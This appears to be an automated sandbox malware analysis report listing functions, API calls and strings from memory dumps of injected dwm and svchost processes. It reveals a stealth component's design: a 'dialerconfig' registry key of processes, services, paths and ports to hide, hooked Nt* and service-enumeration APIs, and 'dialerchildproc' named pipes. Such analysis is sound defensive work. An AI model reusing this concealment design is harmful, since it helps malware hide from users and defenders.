Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction ID: 6ad062c0180f7864ff70bb7064ab8f3a4ba0033f7727923c5617e2fba21a8cbe
Opcode Fuzzy Hash: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction Fuzzy Hash: AEF0EC21310B8082FB06AB61F4082997731EBC8BC8F685021AACD07B14CF38C895C722

Function 000002BAAED8CB9C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002BAAED8CBC5

Strings

November, xrefs: 000002BAAED8CBA8, 000002BAAED8CBB2
October, xrefs: 000002BAAED8CBBE

Memory Dump Source

Source File: 0000001A.00000002.2996207856.000002BAAED80000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAED80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaed80000_dwm.jbxd

Similarity

API ID: try_get_function
String ID: November$October
API String ID: 2742660187-1636048786
Opcode ID: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction ID: c3d8921cda906c5774e95c25f1aac2569b143f39ba3aa41cc85fa96dd22f5b4c
Opcode Fuzzy Hash: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction Fuzzy Hash: ACE09222300981D2EA059B55F8892F83331EB84744F795022999D06AA2EF38CC86C3A3

Function 000002BAAEDBD608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002BAAEDBD631
TlsSetValue.KERNEL32 ref: 000002BAAEDBD648

Strings

FlsSetValue, xrefs: 000002BAAEDBD61E

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction ID: 7175b32d844fbc15a9c60f16fb79484b7ca4416aee09d4379b99d7a929790b2c
Opcode Fuzzy Hash: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction Fuzzy Hash: A2E0926120064091FF0A5B70F90C7957332BBC8BC8F785122D98D0A355DF38C895CB32

Function 000002BAAEDB1D60 Relevance: 5.1, APIs: 4, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDB1D9B
HeapAlloc.KERNEL32 ref: 000002BAAEDB1DAA
GetProcessHeap.KERNEL32 ref: 000002BAAEDB1E1E
HeapFree.KERNEL32 ref: 000002BAAEDB1E2C

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction ID: 5cc7abca7694cab9112d3cf3a1a3df09c09231f77e8e13057b94709d3ba09284
Opcode Fuzzy Hash: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction Fuzzy Hash: 1E215122605B9086EB128F6AA40829AB3B0FBC8B94F254115DECD87B64FF78C556C711

Function 000002BAAEDB1274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDB127A
HeapAlloc.KERNEL32 ref: 000002BAAEDB1289
GetProcessHeap.KERNEL32 ref: 000002BAAEDB12A3
HeapAlloc.KERNEL32 ref: 000002BAAEDB12B4

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction ID: 4b139374240ba397b5748053f9e08d1b555f4558e1e32fd13367c7b192aa7479
Opcode Fuzzy Hash: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction Fuzzy Hash: D0E03971611600CAE7058BB2D80834A37F1EB89B81F588024C98D07390DF7D8499CB61

Analysis Process: svchost.exePID: 364, Parent PID: 7912COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	68
Total number of Limit Nodes:	2

Executed Functions

Function 0000026A879C1650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C165B
HeapAlloc.KERNEL32 ref: 0000026A879C166A

Part of subcall function 0000026A879C1274: GetProcessHeap.KERNEL32 ref: 0000026A879C127A
Part of subcall function 0000026A879C1274: HeapAlloc.KERNEL32 ref: 0000026A879C1289
Part of subcall function 0000026A879C1274: GetProcessHeap.KERNEL32 ref: 0000026A879C12A3
Part of subcall function 0000026A879C1274: HeapAlloc.KERNEL32 ref: 0000026A879C12B4

RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16DA
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1707
RegCloseKey.ADVAPI32 ref: 0000026A879C1721
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1741
RegCloseKey.ADVAPI32 ref: 0000026A879C175C
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C177C
RegCloseKey.ADVAPI32 ref: 0000026A879C1797
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C17B7
RegCloseKey.ADVAPI32 ref: 0000026A879C17D2
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C17F2
RegCloseKey.ADVAPI32 ref: 0000026A879C180D
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C182D
RegCloseKey.ADVAPI32 ref: 0000026A879C1848
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1868
RegCloseKey.ADVAPI32 ref: 0000026A879C1883
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C18A3
RegCloseKey.ADVAPI32 ref: 0000026A879C18BE
RegCloseKey.ADVAPI32 ref: 0000026A879C18C8

Part of subcall function 0000026A879C12C8: RegQueryInfoKeyW.ADVAPI32 ref: 0000026A879C1326
Part of subcall function 0000026A879C12C8: GetProcessHeap.KERNEL32 ref: 0000026A879C1334
Part of subcall function 0000026A879C12C8: HeapAlloc.KERNEL32 ref: 0000026A879C1345
Part of subcall function 0000026A879C12C8: RegEnumValueW.ADVAPI32 ref: 0000026A879C13A1
Part of subcall function 0000026A879C12C8: GetProcessHeap.KERNEL32 ref: 0000026A879C13E9
Part of subcall function 0000026A879C12C8: HeapAlloc.KERNEL32 ref: 0000026A879C13F7
Part of subcall function 0000026A879C12C8: GetProcessHeap.KERNEL32 ref: 0000026A879C141B
Part of subcall function 0000026A879C12C8: HeapFree.KERNEL32 ref: 0000026A879C1429
Part of subcall function 0000026A879C12C8: lstrlenW.KERNEL32 ref: 0000026A879C1432
Part of subcall function 0000026A879C12C8: GetProcessHeap.KERNEL32 ref: 0000026A879C1440
Part of subcall function 0000026A879C12C8: HeapAlloc.KERNEL32 ref: 0000026A879C144E

Strings

udp, xrefs: 0000026A879C189C
paths, xrefs: 0000026A879C17B0
service_names, xrefs: 0000026A879C17EB
tcp_remote, xrefs: 0000026A879C1861
startup, xrefs: 0000026A879C16FD
tcp_local, xrefs: 0000026A879C1826
process_names, xrefs: 0000026A879C1775
SOFTWARE\dialerconfig, xrefs: 0000026A879C16BA
pid, xrefs: 0000026A879C173A

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction ID: 139f86e9f2346f244d1dd68c2d1ec8f696824a443f106ae828e44e4b72836a90
Opcode Fuzzy Hash: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction Fuzzy Hash: C7711676210A50D6FB90DF62E89869D3FB4FB88B89F405111DE4D63B28EF3AC444CB05

Function 0000026A879C3458 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000026A879C347A
PathFindFileNameW.SHLWAPI ref: 0000026A879C3489

Part of subcall function 0000026A879C3930: StrCmpNIW.SHLWAPI ref: 0000026A879C3948

Part of subcall function 0000026A879C3878: GetModuleHandleW.KERNEL32 ref: 0000026A879C3886
Part of subcall function 0000026A879C3878: GetCurrentProcess.KERNEL32 ref: 0000026A879C38B4
Part of subcall function 0000026A879C3878: VirtualProtectEx.KERNEL32 ref: 0000026A879C38D6
Part of subcall function 0000026A879C3878: GetCurrentProcess.KERNEL32 ref: 0000026A879C38F4
Part of subcall function 0000026A879C3878: VirtualProtectEx.KERNEL32 ref: 0000026A879C3915

CreateThread.KERNEL32 ref: 0000026A879C34D7

Part of subcall function 0000026A879C1EB4: GetCurrentThread.KERNEL32 ref: 0000026A879C1EBF

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction ID: 88cb58427b91c04fa6504016e21a9484d774a83945d8fb86de941a3f11605e71
Opcode Fuzzy Hash: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction Fuzzy Hash: C5115B7061060182FFE1D725B94E35D7E90A7D8745F4440259A0EAB1E4EF3BC0849E43

Function 0000026A879C1C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000026A879C1650: GetProcessHeap.KERNEL32 ref: 0000026A879C165B
Part of subcall function 0000026A879C1650: HeapAlloc.KERNEL32 ref: 0000026A879C166A
Part of subcall function 0000026A879C1650: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16DA
Part of subcall function 0000026A879C1650: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1707
Part of subcall function 0000026A879C1650: RegCloseKey.ADVAPI32 ref: 0000026A879C1721
Part of subcall function 0000026A879C1650: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1741
Part of subcall function 0000026A879C1650: RegCloseKey.ADVAPI32 ref: 0000026A879C175C
Part of subcall function 0000026A879C1650: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C177C
Part of subcall function 0000026A879C1650: RegCloseKey.ADVAPI32 ref: 0000026A879C1797
Part of subcall function 0000026A879C1650: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C17B7
Part of subcall function 0000026A879C1650: RegCloseKey.ADVAPI32 ref: 0000026A879C17D2
Part of subcall function 0000026A879C1650: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C17F2

Sleep.KERNEL32 ref: 0000026A879C1C43
SleepEx.KERNEL32 ref: 0000026A879C1C49

Part of subcall function 0000026A879C1650: RegCloseKey.ADVAPI32 ref: 0000026A879C180D
Part of subcall function 0000026A879C1650: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C182D
Part of subcall function 0000026A879C1650: RegCloseKey.ADVAPI32 ref: 0000026A879C1848
Part of subcall function 0000026A879C1650: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1868
Part of subcall function 0000026A879C1650: RegCloseKey.ADVAPI32 ref: 0000026A879C1883
Part of subcall function 0000026A879C1650: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C18A3
Part of subcall function 0000026A879C1650: RegCloseKey.ADVAPI32 ref: 0000026A879C18BE
Part of subcall function 0000026A879C1650: RegCloseKey.ADVAPI32 ref: 0000026A879C18C8

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: 131ff0a4b7b3627bec86245eef0d9013fb3dd59f5e4ba82e029a9078f8b5bc32
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: 183130B5280A0191FFD09F36DA4935E37A4ABC4BD0F544021DE0DA76EAFF22C850CB56

Function 0000026A87992908 Relevance: 1.7, APIs: 1, Instructions: 186
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000026A87992A31

Memory Dump Source

Source File: 0000001B.00000002.2929010361.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a87990000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction ID: 218ec7520d977380068f2feaa711e4e0a9d54bee7078138da19b5574add95528
Opcode Fuzzy Hash: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction Fuzzy Hash: 6161023270265187FFA8CF19D49876DB3D1FB48BA4F548025DA29177C5DB3AE892CB02

Non-executed Functions

Function 0000026A879C2CDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000026A879C2D80
lstrlenW.KERNEL32 ref: 0000026A879C2FBA

Part of subcall function 0000026A879C1A14: OpenProcess.KERNEL32 ref: 0000026A879C1A3A
Part of subcall function 0000026A879C1A14: K32GetModuleFileNameExW.KERNEL32 ref: 0000026A879C1A58
Part of subcall function 0000026A879C1A14: PathFindFileNameW.SHLWAPI ref: 0000026A879C1A67
Part of subcall function 0000026A879C1A14: lstrlenW.KERNEL32 ref: 0000026A879C1A73
Part of subcall function 0000026A879C1A14: StrCpyW.SHLWAPI ref: 0000026A879C1A86
Part of subcall function 0000026A879C1A14: CloseHandle.KERNEL32 ref: 0000026A879C1A94

GetProcAddress.KERNEL32 ref: 0000026A879C2D95

Part of subcall function 0000026A879C1554: StrCmpIW.SHLWAPI ref: 0000026A879C1585

Part of subcall function 0000026A879C3930: StrCmpNIW.SHLWAPI ref: 0000026A879C3948

StrCmpNIW.SHLWAPI ref: 0000026A879C2DD8
lstrlenW.KERNEL32 ref: 0000026A879C2F00

Strings

NtQueryObject, xrefs: 0000026A879C2D8B
ntdll.dll, xrefs: 0000026A879C2D79
\Device\Nsi, xrefs: 0000026A879C2DCB

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction ID: 6cffb3e72637f80e0ecca6e5675cb6c27de45b81606dbc8799dcaebf2915ee0d
Opcode Fuzzy Hash: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction Fuzzy Hash: 87B17A72210A9482EFA9DF29C4487AD77A8FB84B84F545016EE0D63794EF36C980CB42

Function 0000026A879C7E70 Relevance: 10.6, APIs: 7, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000026A879C7E8C
RtlCaptureContext.NTDLL ref: 0000026A879C7EB9
RtlLookupFunctionEntry.NTDLL ref: 0000026A879C7ED3
RtlVirtualUnwind.NTDLL ref: 0000026A879C7F14
IsDebuggerPresent.KERNEL32 ref: 0000026A879C7F68
SetUnhandledExceptionFilter.KERNEL32 ref: 0000026A879C7F89
UnhandledExceptionFilter.KERNEL32 ref: 0000026A879C7F94

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction ID: 4a68258971deacf93967bbbabd61e0263a25abfb71767530d944726e65d9e7da
Opcode Fuzzy Hash: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction Fuzzy Hash: 81314D72205B80DAEBA0DF61E8847ED7BA4F784744F44442ADB4E57B98EF39C648CB11

Function 0000026A879CB50C Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000026A879CB585
RtlLookupFunctionEntry.NTDLL ref: 0000026A879CB59D
RtlVirtualUnwind.NTDLL ref: 0000026A879CB5D8
IsDebuggerPresent.KERNEL32 ref: 0000026A879CB611
SetUnhandledExceptionFilter.KERNEL32 ref: 0000026A879CB61B
UnhandledExceptionFilter.KERNEL32 ref: 0000026A879CB626

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction ID: c019a3b977e98c8464a9c7ca51686cb19ca29057d0f9f7fa7f0392543fb84b7f
Opcode Fuzzy Hash: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction Fuzzy Hash: 7B318036214F8086EBA0CF25E84439E7BA4F788758F540116EB9D53BA8EF39C645CF01

Function 0000026A879CFEF8 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000026A879CFF67
WriteFile.KERNEL32 ref: 0000026A879D021E
WriteFile.KERNEL32 ref: 0000026A879D0270
GetLastError.KERNEL32 ref: 0000026A879D0372
GetLastError.KERNEL32 ref: 0000026A879D03D2

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction ID: e50ab53f46f43525feb9fc316cfef71cb17cf2ffafe6bbfab154a7f387decc61
Opcode Fuzzy Hash: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction Fuzzy Hash: 2FE11132B04B809AE740CF68D5882DD7FB1F385788F148156DF5E67B99DA39C51ACB01

Function 0000026A879C12C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000026A879C1326
GetProcessHeap.KERNEL32 ref: 0000026A879C1334
HeapAlloc.KERNEL32 ref: 0000026A879C1345
RegEnumValueW.ADVAPI32 ref: 0000026A879C13A1

Part of subcall function 0000026A879C1554: StrCmpIW.SHLWAPI ref: 0000026A879C1585

GetProcessHeap.KERNEL32 ref: 0000026A879C13E9
HeapAlloc.KERNEL32 ref: 0000026A879C13F7
GetProcessHeap.KERNEL32 ref: 0000026A879C141B
HeapFree.KERNEL32 ref: 0000026A879C1429
lstrlenW.KERNEL32 ref: 0000026A879C1432
GetProcessHeap.KERNEL32 ref: 0000026A879C1440
HeapAlloc.KERNEL32 ref: 0000026A879C144E
StrCpyW.SHLWAPI ref: 0000026A879C1470
GetProcessHeap.KERNEL32 ref: 0000026A879C1485
HeapFree.KERNEL32 ref: 0000026A879C1493

Strings

d, xrefs: 0000026A879C1365

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction ID: 450101e3417238312508fb76fbecef92d95677056d9534776bb621f83f8ed32d
Opcode Fuzzy Hash: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction Fuzzy Hash: 645179B2204B85D3FB94CF62E54839EBBA1F788B81F048124DA8D17B14EF39C066CB41

Function 0000026A879C1EB4 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000026A879C1EBF

Part of subcall function 0000026A879C2174: GetModuleHandleA.KERNEL32 ref: 0000026A879C218C
Part of subcall function 0000026A879C2174: GetProcAddress.KERNEL32 ref: 0000026A879C219D

Part of subcall function 0000026A879C5C10: GetCurrentThreadId.KERNEL32 ref: 0000026A879C5C4B

Strings

EnumServiceGroupW, xrefs: 0000026A879C1F90
NtQueryDirectoryFile, xrefs: 0000026A879C1F1F
advapi32.dll, xrefs: 0000026A879C1F97, 0000026A879C1FB8
sechost.dll, xrefs: 0000026A879C1FD9
NtQuerySystemInformation, xrefs: 0000026A879C1EE5
NtEnumerateKey, xrefs: 0000026A879C1F59
NtEnumerateValueKey, xrefs: 0000026A879C1F76
NtDeviceIoControlFile, xrefs: 0000026A879C1FF6
NtQueryDirectoryFileEx, xrefs: 0000026A879C1F3C
EnumServicesStatusExW, xrefs: 0000026A879C1FB1, 0000026A879C1FD2
ntdll.dll, xrefs: 0000026A879C1ECD
NtResumeThread, xrefs: 0000026A879C1F02

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction ID: 8066ad8183acf5b913f5b97166315d822d90824d6080871f6ca517cb64a4b855
Opcode Fuzzy Hash: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction Fuzzy Hash: DD31D274200A4AA4FF84EFA9EC597DC3F22F784744FC055239409331759E7ACA99DB92

Function 0000026A879C23F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000026A879C2405
GetCurrentProcessId.KERNEL32 ref: 0000026A879C240F

Part of subcall function 0000026A879C19AC: OpenProcess.KERNEL32 ref: 0000026A879C19CA
Part of subcall function 0000026A879C19AC: IsWow64Process.KERNEL32 ref: 0000026A879C19E0
Part of subcall function 0000026A879C19AC: CloseHandle.KERNEL32 ref: 0000026A879C19FB

CreateFileW.KERNEL32 ref: 0000026A879C2468
WriteFile.KERNEL32 ref: 0000026A879C2490
ReadFile.KERNEL32 ref: 0000026A879C24AF
CloseHandle.KERNEL32 ref: 0000026A879C24B8

Strings

\\.\pipe\dialerchildproc32, xrefs: 0000026A879C243F
\\.\pipe\dialerchildproc64, xrefs: 0000026A879C2438

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction ID: 13b7611704c3c36f7f6880a0d3d83849d3e33de2f891407fa32e3e8a6b9eb749
Opcode Fuzzy Hash: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction Fuzzy Hash: B0215736614A4083FB50CB25E40836E7FA1F389BA5F504215EA5D17AA8CF3EC189CF02

Function 0000026A879C104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000026A879C10AB
RegEnumValueW.ADVAPI32 ref: 0000026A879C110E
GetProcessHeap.KERNEL32 ref: 0000026A879C1155
HeapAlloc.KERNEL32 ref: 0000026A879C1163
GetProcessHeap.KERNEL32 ref: 0000026A879C1187
HeapFree.KERNEL32 ref: 0000026A879C1195

Strings

d, xrefs: 0000026A879C10CE

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: 5301be5536c62eb723cdb2ab7e8a703766583fcf04a52a5b40df69596fb488ec
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction Fuzzy Hash: A4418073214B80D7EBA0CF62E44879EBBA1F389B85F008125DB8917B54EF39D165CB04

Function 0000026A879969F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000026A87996A18
__scrt_acquire_startup_lock.LIBCMT ref: 0000026A87996A6A
_RTC_Initialize.LIBCMT ref: 0000026A87996A98
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000026A87996ABE
__scrt_release_startup_lock.LIBCMT ref: 0000026A87996AE9

Memory Dump Source

Source File: 0000001B.00000002.2929010361.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a87990000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
